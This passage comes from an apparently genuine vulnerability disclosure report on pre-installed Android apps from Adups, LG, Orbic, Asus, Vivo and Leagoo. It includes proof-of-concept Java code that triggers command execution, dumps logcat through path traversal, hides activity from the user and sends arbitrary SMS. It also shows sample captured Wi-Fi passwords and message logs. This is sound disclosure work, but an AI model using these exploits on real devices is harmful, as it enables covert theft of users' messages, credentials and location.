Fairfax, VA. We examined the two Adups apps on the device (com.fw.upgrade.sysoper and com.fw.upgrade) and neither of them exfiltrated any user PII. Although Adups apps are on the device, they do not make any network connections. It also appears that there are no apps to manage firmware updates. Therefore, it appears that this device will be left permanently vulnerable with a known vulnerability. The SKY Elite 6.0L+ device has a build fingerprint of SKY/x6069_trx_l601_sky/x6069_trx_l601_sky:6.0/MRA58K/1482897127:user/release-keys. This device has a build date of Wed Dec 28 12:01:22 CST 2016 according to the ro.build.date system property. Adups has fixed the arbitrary command execution as system user vulnerability in its apps, although SKY or another entity in the supply chain included an old version of the Adups app in their build, making the device vulnerable. The source code below will cause the com.fw.upgrade.sysoper app to create a file an empty file with a path of /sdcard/f.txt. This is a fairly benign command to be executed as it just shows the vulnerable app will actually execute commands of the attacking app’s choosing and can be replaced with a more sever command. Intent i = new Intent("android.intent.action.Fota.OperReceiver"); i.setClassName("com.fw.upgrade.sysoper", "com.adups.fota.sysoper.WriteCommandReceiver"); i.putExtra("cmd", "touch /sdcard/f.txt"); sendBroadcast(i); 5. Logcat Logs The logcat logs consist of four different log buffers: system, main, radio, and events22. The logcat log is a shared resource where any process on the device can write a message to the log. The logcat log is generally 21 https://www.blackhat.com/docs/us-17/wednesday/us-17-Johnson-All-Your-SMS-&-Contacts-Belong-To-Adups-&- Others.pdf 22 https://developer.android.com/studio/command-line/logcat#alternativeBuffers 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] for debugging purposes. A third-party app can only read log messages that the app itself has written. Pre- installed apps can request and be granted the READ_LOGS permission by the Android OS. The Android OS and apps can write sensitive data to the logs, so the capability to read from the system-wide logcat log was taken away from third-party apps in Android 4.1. Since a third-party app cannot directly obtain the system- wide logcat log, a third-party app may leverage another privileged app to write the system-wide logcat logs to the SD card. We found various vulnerabilities where a privileged pre-installed app writes the logcat logs to the SD card23. The logcat logs tend to contain email addresses, telephone numbers, GPS coordinates, unique device identifiers, and arbitrary messages written by any process on the device. A non-exhaustive list of concrete logcat log messages is provided in Appendix B. The log messages in Appendix B are from the ZTE Blade Vantage device from Verizon with a build fingerprint of ZTE/Z839/sweet:7.1.1/NMF26V/20180120.095344:user/release-keys. App developers may write sensitive data to the logcat log while under the impression that their messages will be private and unobtainable. Information disclosure from the logcat log can be damaging depending on the nature of the data written to the log. Appendix B contains a username and password pair being written to the log from a the Wells Fargo CEO Mobileâ Android app (package name=com.wellsFargo.ceomobile, versionCode=29, versionName=3.3.0)24. There is some variance of the data that is written to the logcat log among different Android devices. Some older examples of data written to the logcat log can be found here25. 5.1 Various LG Devices – Getting the Logcat Logs Written to an App’s Private Directory The com.lge.gnsslogcat app (versionCode=1, versionName=1.0) is present as a pre-installed app on the four LG devices we examined, show below with their corresponding build fingerprints. LG G6 - lge/lucye_nao_us_nr/lucye:7.0/NRD90U/17355125006e7:user/release-keys LG Q6 - lge/mhn_lao_com_nr/mhn:7.1.1/NMF26X/173421645aa48:user/release-keys LG X Power - lge/k6p_usc_us/k6p:6.0.1/MXB48T/171491459f52c:user/release-keys LG Phoenix 2 - lge/m1v_att_us/m1v:6.0/MRA58K/1627312504f12:user/release-keys This platform app executes as the system user since the app is signed with the platform key and sets the android:sharedUserId attribute to a value of android.uid.system in its AndroidManifest.xml file. This provides the application with significant capabilities on the device. The app also requests the android.permission.READ_LOGS permission. As this app is installed on the system partition, the READ_LOGS permission will be granted to it so that it can read the system-wide logcat log. The AndroidManifest.xml file of the com.lge.gnsslogcat app is provided below. <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:sharedUserId="android.uid.system" package="com.lge.gnsslogcat" platformBuildVersionCode="24" platformBuildVersionName="7.0"> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 23 See Sections 9.2 and 10.2 for additional methods for obtaining the system-wide logcat log. 24 https://play.google.com/store/apps/details?id=com.wellsFargo.ceomobile 25 http://www.blackhat.com/docs/asia-15/materials/asia-15-Johnson-Resurrecting-The-READ-LOGS-Permission-On-Samsung- Devices-wp.pdf 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_LOGS"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <application android:allowBackup="true" android:label="@string/app_name" android:theme="@style/AppTheme"> <service android:exported="true" android:name=".GnssLogService"> <intent-filter android:label="com.lge.gnsslogcat"> <action android:name="com.lge.gnsslogcat"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> </service> </application> Below are the SHA-256 hashes for the com.lge.gnsslogcat app’s Android Package (APK) file and Optimized Dalvik EXecutable (ODEX) file. ec00172156d4032cbb4888def9509fc903674fe7d40467a5163b283d6d4967a8 GnssLogCat.apk 3a8777a0c8256f5d3e953e9bba502b0842a5fe7656387f319fee0ba309fb8c1b GnssLogCat.odex The com.lge.gnsslogcat app is small, as it only contains three classes for the whole app and only contains a single service application component: GnssLogService. This component is explicitly exported as it sets the android:exported attribute to a value of true. The com.lge.gnsslogcat app does not run following device startup and will only run when started by another app on the device. When the com.lge.gnsslogcat app is started via an intent, it will write the logcat log to external storage, although the log messages it writes belong to a limited set of log tags. Each log entry has a log tag and a log message. Specifically, the default configuration for the com.lge.gnsslogcat app is to only record log messages that have a log tag of GpsLocationProvider, LocationManagerService, or GnssLogService. Under the default configuration, the com.lge.gnsslogcat app writes the entire log entries for log messages from the system-wide logcat log that have the aforementioned log tags to a default path of /sdcard/gnsslog/GnssLogService.log. An example listing of this file is shown below. 05-10 13:16:24.559 1703 2555 D LocationManagerService: getLastLocation: Request[ACCURACY_FINE gps requested=0 fastest=0 num=1] 05-10 13:16:24.560 1703 1717 D LocationManagerService: getLastLocation: Request[POWER_LOW network requested=0 fastest=0 num=1] 05-10 13:16:39.131 6668 6685 D GnssLogService: FileName[GnssLogService] start logging 05-10 13:17:34.930 1703 3307 D LocationManagerService: getLastLocation: Request[POWER_NONE passive fastest=0 num=1] 05-10 13:17:34.940 1703 3345 D LocationManagerService: getLastLocation: Request[POWER_NONE passive fastest=0 num=1] 05-10 13:17:34.949 1703 3307 D LocationManagerService: getLastLocation: Request[POWER_NONE passive fastest=0 num=1] The logcat log, containing only log entries from 3 specific log tags, only provides a very limited amount of data. We discovered a method to provide input to the com.lge.gnsslogcat app so that the entire system- wide logcat log will be written to the output file. The attacking app that starts the com.lge.gnsslogcat app externally can control the path where the file will be created. Moreover, the attacker can use a path traversal attack. The resulting log file will always have a fixed .log extension, but the path can be controlled by the attacker. The path selection will still be subject to SELinux rules. We have found that the attacking app can successfully cause the com.lge.gnsslogcat app create a logcat log file in the attacking app’s private directory. Therefore, the attacking app does not require any permissions to obtain the logcat logs, although if data from the logcat log is to be sent off from the device, the attacking app will need the INTERNET permission. 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Here we provide the source code to perform the attack using a notional package name of hab.huba. The first thing the attacking app needs to do is to make its private directory (i.e., /data/data/hab.huba) globally executable. This source code below will accomplish this. File baseAppDir = getFilesDir().getParentFile(); baseAppDir.setExecutable(true, false); After that, the attacking app needs to create a file in their private directory. The name can be anything although it will have to end in .log and the same file name (except the .log since it will be appended by the com.lge.gnsslogcat app) will need to be used when sending an intent to the com.lge.gnsslogcat app to start the logging. Using an example file name of test.txt.log, we will create it in the attacking app’s private directory. File logfile = new File(baseAppDir, "test.txt.log"); try { logfile.createNewFile(); logfile.setWritable(true, false); } catch (IOException e) { e.printStackTrace(); } This code will create an empty file in the attacking app’s private directory that will be writable by the com.lge.gnsslogcat app. The SELinux rules allow the com.lge.gnsslogcat app to write (although not read) from a third-party app’s private directory. The attacking app, hab.huba, will be the owner of the test.txt.log file even after the com.lge.gnsslogcat app writes logcat log data to it. Below is the code the attacking app will execute to initiate the writing of the logcat log file in its private directory to a file of its choosing. Intent i = new Intent("com.lge.gnsslogcat"); i.setClassName("com.lge.gnsslogcat", "com.lge.gnsslogcat.GnssLogService"); i.putExtra("modulename", "GnssLogService"); i.putExtra("start", true); i.putExtra("logfilename", "../../../../data/data/hab.huba/test.txt"); ArrayList<String> darkness = new ArrayList<String>(); darkness.add("*:V Hidden"); i.putStringArrayListExtra("tags", darkness); startService(i); The logfilename extra used in the intent controls the file name, but it can also be used to control the file path as there is no input filtering to prevent a directory traversal attack. If the attacking app just provides a file name without a path, the default path is /storage/emulated/0/gnsslog. Therefore, the attacking app can escape these directories and provide a path that will resolve to an already created file that is owned by the attacking app and resides in the attacking app’s private directory. Normally, the com.lge.gnsslogcat app will only write messages corresponding to three different log tags, but the attacking app can provide input to the logcat command executed by the com.lge.gnsslogcat app so that all messages (i.e., any log tag with any log level) will be contained in the file. The com.lge.gnsslogcat app will check for an ArrayList<String> object in the intent that corresponds to a key name of tags. This allows an app to specify additional log tags that will be used in the logcat command. The attacking app can provide specific log tags it is interested in, although a more convenient approach is just to obtain them all, as it may be difficult to know all the interesting log tags on the device a priori. When using logcat command, the 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] initiating process can specify specific log tags and the accompanying log level (and up) that should be included and silence everything else (effectively white-listing what should be included). The com.lge.gnsslogcat app when executing normally will execute the logcat command below. logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V Whenever there are strings in the ArrayList<String> object corresponding to the a key name of tags passed in the intent, it will take each String and append a :V to the end of it and add it to the end of the command above. Therefore, the attacking app has some control over parameters to the command, although the attacking app cannot perform arbitrary command injection due to the way Java executes a single command using Runtime.exec(String) API call. The appending of :V to the a specific log tag just makes it so that any message with that log tag at the level of verbose or above will be included. The -s argument will silence all other log tags that are not explicitly included as arguments. To obtain all the log entries (all log tags at all levels), a String of *:V Hidden is provided to the ArrayList<String> object corresponding to the a key name of tags in the intent. The *:V is a wildcard that matches any log tag at the lowest log level which will match the lowest level and all levels above (i.e., every possible log message). Since the com.lge.gnsslogcat.GnssLogCat class iterates over the Strings that were provided in the ArrayList<String> object and appends a :V to the end, a space and arbitrary word (i.e., *:V Hidden) is provided in the input to keep the command proper. Therefore, the command that the GnssLogCat class executes will be the following. logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V *:V Hidden:V This command will execute and write all available log data to the file it was instructed to by the attacking app. The com.lge.gnsslogcat.GnssLogFileManager class will create the log file (if it does not exist) and write the file using a java.io.FileOutpstream wrapped in a java.io.OutputStreamWriter object. The path is controlled by the attacker and contained in the intent belonging to a key value of logfilename. The result is that the attacking app now has the com.lge.gnsslogcat app writing the system-wide logcat log to a file it owns in its private directory. 5.2 Orbic Wonder – Logcat Logs The Orbic Wonder26 Android device provides a method to obtain the logcat logs via a pre-installed platform app with a package name of com.ckt.mmitest (versionCode=25, versionName=7.1.2) that will write the logcat logs to the SD card when a specific activity is started. Any app that requests the READ_EXTERNAL_STORAGE permission can read from the SD card and also the created logcat log file. Therefore, a local app on the device can quickly start a specific activity application component (com.ckt.mmitest.MmiMainActivity) in the app (com.ckt.mmitest) to have the logcat log get written to the SD card. After starting the app with a specific flag in the intent (FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS), the app can programmatically return to the home screen and the app (com.ckt.mmitest) will not be visible in the recent apps. Then the logcat log will be continually written and can be mined on the device for sensitive user data. Alternatively, the entire log file can be exfiltrated to a remote location for processing. An example file path that the logs get written to is 26 http://www.orbic.us/phones/details/10 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] /sdcard/MmiTest/fd5d9b82_0202-221453.log. This file name may vary, but the directory will be the same. The source code below will initiate the writing of the logcat log file to external storage. The first intent will start the activity application component which initiates the writing of the logcat log to the SD card. This intent contains a flag that will hide it from the recent apps list. The thread then sleeps 0.7 seconds. Then it launches an intent to return to the home screen, so the app is no longer visible or accessible to the user via the recent apps list. This can be done in the background from a service application component. Intent i = new Intent(); i.setClassName("com.ckt.mmitest", "com.ckt.mmitest.MmiMainActivity"); i.setFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); this.startActivity(i); try { Thread.sleep(700); } catch (InterruptedException e) { e.printStackTrace(); } Intent i2 = new Intent("android.intent.action.MAIN"); i2.addCategory(Intent.CATEGORY_HOME); startActivity(i2); The default messaging app, com.android.mms (versionCode=25, versionName=7.1.2), on the Orbic Wonder device writes call data and the body of sent and received text messages to the logcat log. This is an insecure practice since it is unnecessary to write this data to the logcat log on a production device due to the possibility of the logcat log being exposed. The system_server process writes the call data to the logcat log. Using the ability to obtain the logcat log above, this will enable an app on the device to obtain the body of the user’s sent and received text messages, as well as call data as they occur. Additional data may be written to the logcat logs, although we are focusing here on the telephony data. Sent text messages (destination number and body of text message) 02-02 21:51:22.654 6538 6719 D Mms-debug: sendMessage sendIntent: Intent { act=com.android.mms.transaction.MESSAGE_SENT dat=content://sms/1 cmp=com.android.mms/.transaction.SmsReceiver (has extras) } 02-02 21:51:22.657 6538 6719 D Mms-debug: sendMultipartTextMessage:mDest=5716667157|mServiceCenter=null|messages=I am sending a text message|mPriority=-1|isExpectMore=false|validityPeriod=- 1|threadId=1|uri=content://sms/1|msgs.count=1|token=-1|mSubId=1|mRequestDeliveryReport=false Received text messages (sending number and body of text message) 02-02 21:53:32.149 6538 6538 D Mms-debug: mWorkingMessage send mDebugRecipients=(571) 666- 7157 02-02 21:53:32.149 6538 6538 D Mms-debug: send origThreadId: 1 02-02 21:53:32.149 6538 6538 D Mms-debug: mText=Receiving a text message Placing a call 02-02 21:54:40.663 1348 1348 I Telecom : Class: processOutgoingCallIntent isCallPull = false: PCR.oR@AFA02-02 21:54:40.663 1348 1348 I Telecom : Class: processOutgoingCallIntent handle = tel:(571)%20666-7157,scheme = tel, uriString = (571) 666-7157, isSkipSchemaParsing = false, isAddParticipant = false: PCR.oR@AFA 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Receiving a call 02-02 21:58:00.351 1348 1348 D PhonecallDetector: onIncomingCallReceived() number: +15716667157 start at: Fri Feb 02 21:58:00 EST 2018 02-02 21:54:41.569 1348 1348 D PhonecallDetector: onOutgoingCallStarted() number: 5716667157 start at: Fri Feb 02 21:54:41 EST 2018 02-02 21:54:54.844 1348 1348 D PhonecallDetector: onOutgoingCallEnded() number: 5716667157 start at: Fri Feb 02 21:54:41 EST 2018 end at: Fri Feb 02 21:54:54 EST 2018 5.3 Asus ZenFone 3 Max – Obtaining the Logcat Logs, WiFi Passwords and More The Asus ZenFone 3 Max Android device contains a pre-installed app with a package name of com.asus.loguploader (versionCode=1570000275, versionName=7.0.0.55_170515) with an exported interface that allows any app on the phone to obtain a dumpstate file (kernel log, logcat log, dump of system services, which includes text of active notifications), Wi-Fi Passwords, and other system data that gets written to external storage. The build fingerprint of the device is asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone-14.14.1711.92-20171208:user/release- keys. In addition, the phone numbers for outgoing and incoming telephone calls get written to the logcat log, as well as the telephone numbers for outgoing and incoming text messages. Therefore, having access to the logcat log (via the dumpstate file), allows one to also obtain some telephony meta-data. The com.asus.loguploader app has an exported component named com.asus.loguploader.LogUploaderService. This component can be accessed by an app on the device to generate the log files that get written to external storage. Once an app interacts with it using a specific intent, the device will vibrate once and create two notifications: one that says “Log generating… Please wait for a while” and another that says “Bug Reporter is running. Tap for more information or to stop the app.” The device will vibrate again when the generation of the log files has completed. These two notifications are temporary and will be removed in around one second since a second intent is sent. The com.asus.loguploader app cannot be disabled through the Settings app. The source code to write the log data to the SD card is provided below. The first intent is to start the log generation and the second intent is to quickly remove the notifications. If the second intent was not sent, the generation of log files would leave notifications in the status bar for the user to see. The second intent is sent to remove the notifications. Intent i = new Intent("MANUAL_UPLOAD"); i.setClassName("com.asus.loguploader", "com.asus.loguploader.LogUploaderService"); startService(i); Intent i2 = new Intent("MOVELOG_COMPLETED"); i2.setClassName("com.asus.loguploader", "com.asus.loguploader.LogUploaderService"); startService(i2); The source code above will cause the com.asus.loguploader app to write log data to a base directory of /sdcard/ASUS/LogUploader. Each time this code is executed, it will overwrite the previous files. A listing of the files in the most relevant directory (i.e., /sdcard/ASUS/LogUploader/general/sdcard) is provided below. ASUS_X008_1:/sdcard/ASUS/LogUploader/general/sdcard $ ls -alh total 9.4M 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] drwxrwx--x 5 root sdcard_rw 4.0K 2018-05-20 13:32 . drwxrwx--x 3 root sdcard_rw 4.0K 2018-05-20 13:32 .. drwxrwx--x 2 root sdcard_rw 4.0K 2018-05-20 13:32 anr -rwxrwx--x 1 root sdcard_rw 817 2018-05-20 13:32 df.txt -rw-rw---- 1 root sdcard_rw 9.3M 2018-05-20 13:32 dumpstate.txt -rwxrwx--x 1 root sdcard_rw 1.2K 2018-05-20 13:32 ls_data_anr.txt -rwxrwx--x 1 root sdcard_rw 218 2018-05-20 13:32 ls_data_tombstones.txt -rwxrwx--x 1 root sdcard_rw 902 2018-05-20 13:32 ls_wifi_asus_log.txt drwxrwx--x 2 root sdcard_rw 4.0K 2018-05-20 13:32 mtklog -rwxrwx--x 1 root sdcard_rw 474 2018-05-20 13:32 p2p_supplicant.conf drwxrwx--x 2 root sdcard_rw 4.0K 2018-05-20 13:32 tombstones -rwxrwx--x 1 root sdcard_rw 791 2018-05-20 13:32 wpa_supplicant.conf The two most interesting files are dumpstate.txt and wpa_supplicant.conf. The wpa_supplicant.conf file is a copy of the /data/misc/wifi/wpa_supplicant.conf file. The wpa_supplicant.conf contains the SSID and password for each network that the device has saved. The contents of the wpa_supplicant.conf file are shown below. Some of the data below has been changed about the networks for privacy reasons. ASUS_X008_1:/sdcard/ASUS/LogUploader/general/sdcard $ cat wpa_supplicant.conf ctrl_interface=/data/misc/wifi/sockets driver_param=use_p2p_group_interface=1 update_config=1 device_name=US_Phone manufacturer=asus model_name=ASUS_X008DC model_number=ASUS_X008DC serial_number=H4AXGY012345DMV device_type=10-0050F204-5 os_version=01020300 config_methods=physical_display virtual_push_button p2p_no_group_iface=1 external_sim=1 wowlan_triggers=disconnect network={ ssid="HOME-NET" bssid=cc:35:40:b8:7c:e2 psk="5GgMK*-Aa828" key_mgmt=WPA-PSK disabled=1 id_str="%7B%22creatorUid%22%3A%221000%22%2C%22configKey%22%3A%22%5C%22HOME- NET%5C%22WPA_PSK%22%7D" } network={ ssid="Huba" bssid=ac:22:0b:df:15:d8 psk="2Vk69c9a*ze2" key_mgmt=WPA-PSK disabled=1 id_str="%7B%22creatorUid%22%3A%221000%22%2C%22configKey%22%3A%22%5C%Huba%5C%22W PA_PSK%22%7D" } 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] The dumpstate.txt file is the result of running the dumpstate command27. This is essentially a dump containing the logcat log, kernel log, a dump of system services, and more. The generated dumpstate.txt file from the listing of files above is 9.3MB. Notably, the text of the active notifications is contained in the file. The active notifications from the dumpstate.txt file are provided in Appendix C. The logcat log is contained within the dumpstate.txt file. Telephony meta-data for text messages and phone calls appear in the logcat log. Below are some examples that we have identified, although there may be additional log messages that can appear. Placing a call (log message written by the system_server process whenever the user makes a call) 05-22 12:44:02.283 1185 1185 D Telecom : CallIntentProcessor: processOutgoingCallIntent(): uriString = 7035551234: PCR.oR@AX0 Receiving a call (log message written by the com.android.phone process whenever there in an incoming call) 05-22 12:47:36.883 1823 1823 D TelecomFramework: TelephonyConnectionService: createConnection, callManagerAccount: PhoneAccountHandle{TelephonyConnectionService, 8901260145725529100f, UserHandle{0}}, callId: TC@2, request: ConnectionRequest tel:17035551234 Bundle[mParcelledData.dataSize=584], isIncoming: true, isUnknown: false Sending a text message (log message written by the android.process.acore process whenever a text message is sent) 05-22 13:05:30.713 9110 9121 V ContactsProvider: query: uri=content://com.android.contacts/data/phones projection=[contact_id, _id] selection=[data1 IN (?)] args=[7035551234] order=[null] CPID=3064 User=0 Receiving a text message Receiving a text message (log message written by the com.android.phone process whenever a text message is received) 05-22 13:08:41.014 1823 3972 D Mms/Provider/MmsSms: query begin, uri = content://mms-sms/threadID?recipient=%2B17035551234, selection = null 05-22 13:08:41.017 1823 3972 D Mms/Provider/MmsSms: getAddressIds: get exist id=5, refinedAddress=+17035551234, currentNumber=7035551234 5.4 LG G6 & LG Q6 – Dumping the Logcat Logs and Kernel Logs to External Storage The com.lge.mlt app (versionCode=60000002, versionName=6.0.2) is present as a pre-installed app on two LG devices we examined, show below with the corresponding build fingerprints. LG G6 - lge/lucye_nao_us_nr/lucye:7.0/NRD90U/17355125006e7:user/release-keys LG Q6 - lge/mhn_lao_com_nr/mhn:7.1.1/NMF26X/173421645aa48:user/release-keys 27 https://source.android.com/setup/contribute/read-bug-reports 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] The pre-installed com.lge.mlt app (versionCode=60000002, versionName=6.0.2) will dump an SQLite database to external storage (i.e., SD card) containing a large amount of data including snippets of the logcat log and kernel log when it receives a broadcast intent with a specific action string that can be sent by any app on the device. The file that the app created on our device was 3.8 MB. The com.lge.mlt app has a broadcast receiver named com.lge.mlt.hiddenmenu.MptHiddenMenuReceiver. This receiver statically registers to receive broadcast intents that have an action string of com.lge.mlt.copy.hiddendatabase. Below is a snippet of the AndroidManifest.xml file of the com.lge.mlt app. E: receiver (line=52) A: android:name(0x01010003)="com.lge.mlt.hiddenmenu.MptHiddenMenuReceiver" (Raw: "com.lge.mlt.hiddenmenu.MptHiddenMenuReceiver") E: intent-filter (line=53) E: action (line=54) A: android:name(0x01010003)="MPT.GO_TO_HIDDEN_MENU" (Raw: "MPT.GO_TO_HIDDEN_MENU") E: action (line=55) A: android:name(0x01010003)="com.lge.mlt.copy.hiddendatabase" (Raw: "com.lge.mlt.copy.hiddendatabase") When the MptHiddenMenuReceiver broadcast receiver receives a broadcast intent with an action string of com.lge.mlt.copy.hiddendatabase, it will copy a database with a path of /mpt/LDB_MainData.db to a path of /sdcard/ldb/_data.ez. In addition, on the LG G6 device, a file named a file named /mpt/serial is copied to a path of /sdcard/ldb/_index.ez and the file contains the IMEI of the device. This app appears to store crash logs and other diagnostic data. The End-User License Agreement (EULA) for the com.lge.mlt app says that the data may contain “application use history, IMEI, country, language, serial number, model, screen resolution, OS information, reception strength, network location information, and service and connection status.” Any app on the device that has been granted the READ_EXTERNAL_STORAGE permission can cause the com.lge.mlt app to write this database to the SD card and then mine it for personal data. In the _data.ez file, the table named t320 contains log entries from the kernel log and the logcat log. 5.5 Vivo V7 – Dumping the Logcat Logs to External Storage The Vivo V7 device contains an app with a package name of com.vivo.bsptest (versionCode=1, versionName=1.0). This app will initiate the writing of the logcat log and kernel log to external storage with a default path of /sdcard/bbklog once it receives an intent that can be sent by any app on the device. The writing of the logs is not totally transparent to the user. Once a third-party app sends an intent to the com.vivo.bsptest app, a sticky notification appears in the status bar that “Log Collection – Logs are running.” The user can click the notification and cancel the collection of logs. The source code below will start the com.vivo.bsptest.BSPTestActivity activity app component (which activates the logging) with a flag which will hide it from the recent apps, wait 0.5 seconds, and then returns to the main launcher screen. Intent i = new Intent(); i.setClassName("com.vivo.bsptest", "com.vivo.bsptest.BSPTestActivity"); i.setFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); startActivity(i); try { Thread.sleep(500); } catch (InterruptedException e) { 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] e.printStackTrace(); } Intent i2 = new Intent("android.intent.action.MAIN"); i2.addCategory(Intent.CATEGORY_HOME); startActivity(i2); The Vivo V7 device can also be made to write the coordinates of screen presses to the logcat log as detailed in Section 9.1. 6. Exposing Telephony Data and Capabilities We discovered that the Leagoo Z5C device allows any app co-located on the device to send arbitrary text messages. In addition, it allows any app on the device to obtain the most recent text message in each conversation via an exported content provider. We found that three devices sold by T-Mobile contained a Rich Communication Services (RCS) app that allows the sending of arbitrary text messages, allows the user’s text messages to be read and modified, and provides the phone numbers of the user’s contacts. This RCS app has also been refactored with a second package name that has essentially the same behavior. 6.1 Leagoo Z5C – Custom com.android.messaging App We examined a Leagoo Z5C Android device, and we noticed some additional behavior that is not present in Google’s version of the com.android.messaging app. The Leagoo Z5C had a build fingerprint of sp7731c_1h10_32v4_bird:6.0/MRA58K/android.20170629.214736:user/release-keys. 6.1.1 Leagoo Z5C – Sending Arbitrary Text Messages Any app on the device can send an intent to an exported broadcast receiver application component that will result in the sending of a text message where the phone number and body of the text message is controlled by the attacker. This can be accomplished by a zero-permission third-party app. The com.android.messaging app (versionCode=1000110, versionName=1.0.001, (android.20170630.092853-0)) contains an exported broadcast receiver named com.android.messaging.trackersender.TrackerSender, and its declaration in the AndroidManifest.xml file is provided below. The TrackerSender component is explicitly exported. <receiver android:exported="true" android:name="com.android.messaging.trackersender.TrackerSender"> <intent-filter android:priority="0x7FFFFFFF"> <action android:name="com.sprd.mms.transaction.TrackerSender.SEND_SMS_ACTION"/> <action android:name="com.sprd.mms.transaction.TrackerSender.SMS_SENT_ACTION"/> <action android:name="com.sprd.mms.transaction.TrackerSender.RETRY_ALARM_ACTION"/> </intent-filter> </receiver> The TrackerSender component registers for the com.sprd.mms.transaction.TrackerSender.SEND_SMS_ACTION action. When this component receives an intent with a specific action and has the appropriate data embedded in an intent, it will extract the data from the intent and send a text message using the android.telephony.SmsManager API. Below is the source code to make the TrackerSender component send a text message. Intent i = new Intent(); i.setAction("com.sprd.mms.transaction.TrackerSender.SEND_SMS_ACTION"); 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] i.putExtra("message_body", "Huba"); i.putExtra("message_recipient", "+1703555555"); i.putExtra("message_falg_retry", true); i.putExtra("message_phone_id", 1); i.putExtra("message_token", (long) 1234); sendBroadcast(i); 6.1.2 Leagoo Z5C – Obtaining the Most Recent Text Message from each Conversation Due to an exported broadcast receiver, a zero-permission third-party app can query the most recent text message from each conversation. That is, for each phone number where the user has either texted or received a text from, a zero-permission third party app can obtain the body of the text message, phone number, name of the contact (if it exists), and a timestamp. The com.android.messaging app (versionCode=1000110, versionName=1.0.001, (android.20170630.092853-0)) contains an exported content provider with a name of com.android.messaging.datamodel.MessagingContentProvider. Below is the content provider being declared in the com.android.messaging app’s AndroidManifest.xml file. <provider android:authorities="com.android.messaging.datamodel.MessagingContentProvider" android:exported="true" android:label="@string/app_name" android:name=".datamodel.MessagingContentProvider"/> As the querying of the content provider can be performed silently in the background, it can be continuously monitored to check to see if the current message in each conversation has changed and record any new messages. To query the most recent text message for each conversation, the app simply needs to query a content provider in the standard way where the authority string is com.android.messaging.datamodel.MessagingContentProvider/conversations. Below is the output of querying this content provider. The text messages that are sent by the device owner are the ones where the snippet_sender_display_destination field is null. Row: 0 _id=2, name=(703) 555-0001, current_self_id=1, archive_status=0, read=1, icon=messaging://avatar/d?i=%2B17035550001, participant_contact_id=-2, participant_lookup_key=NULL, participant_normalized_destination=+17035550001, sort_timestamp=1526866037215, show_draft=0, draft_snippet_text=, draft_preview_uri=, draft_subject_text=, draft_preview_content_type=, preview_uri=NULL, preview_content_type=NULL, participant_count=1, notification_enabled=1, notification_sound_uri=NULL, notification_vibration=1, include_email_addr=0, message_status=100, raw_status=0, message_id=12, snippet_sender_first_name=NULL, snippet_sender_display_destination=(703) 555- 0001, snippet_text=Here is a text message, subject_text=NULL Row: 1 _id=3, name=(703) 555-0002, current_self_id=1, archive_status=0, read=1, icon=messaging://avatar/d?i=%2B17035550002, participant_contact_id=-2, participant_lookup_key=NULL, participant_normalized_destination=+17035550002, sort_timestamp=1526863999559, show_draft=0, draft_snippet_text=, draft_preview_uri=, draft_subject_text=, draft_preview_content_type=, preview_uri=NULL, preview_content_type=NULL, participant_count=1, notification_enabled=1, notification_sound_uri=NULL, notification_vibration=1, include_email_addr=0, message_status=1, raw_status=0, message_id=8, snippet_sender_first_name=Mike, snippet_sender_display_destination=, snippet_text=Test. Holla back, subject_text=NULL Row: 2 _id=1, name=Random Guy, current_self_id=1, archive_status=0, read=1, icon=messaging://avatar/l?n=Random%20Guy&i=1516r11-4B29432F4541355159, participant_contact_id=11, participant_lookup_key=1516r11-4B29432F4541355159, participant_normalized_destination=+17035550003, sort_timestamp=1526863649747, show_draft=0, draft_snippet_text=, draft_preview_uri=, draft_subject_text=, draft_preview_content_type=, preview_uri=NULL, preview_content_type=NULL, participant_count=1, notification_enabled=1, notification_sound_uri=NULL, notification_vibration=1, include_email_addr=0, message_status=1, 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] raw_status=0, message_id=5, snippet_sender_first_name=Mike, snippet_sender_display_destination=, snippet_text=Here is a longer message. One more, subject_text=NULL 6.2 Insecure RCS App on T-Mobile Devices We discovered an insecure pre-installed app that handles RCS with a package name of com.rcs.gsma.na.sdk (or a refactored version of the app) on three devices. There was a refactored version of the same app with almost the same functionality with a different package name (com.suntek.mway.rcs.app.service). We are unsure if this app has other refactored instances with additional package names. This app allows any app co-located on the device to read, delete, insert, and modify the user’s text messages, send arbitrary text messages, and obtain the phone numbers of the user’s contacts. All of these capabilities are done without the required permissions since the com.rcs.gsma.na.sdk app externally exposes them and does not set permissions requirements to access them. All of the devices we confirmed that contain this app were sold as T-Mobile devices: Coolpad Defiant, T-Mobile Revvl Plus, and ZTE Zmax Pro. We will explain the 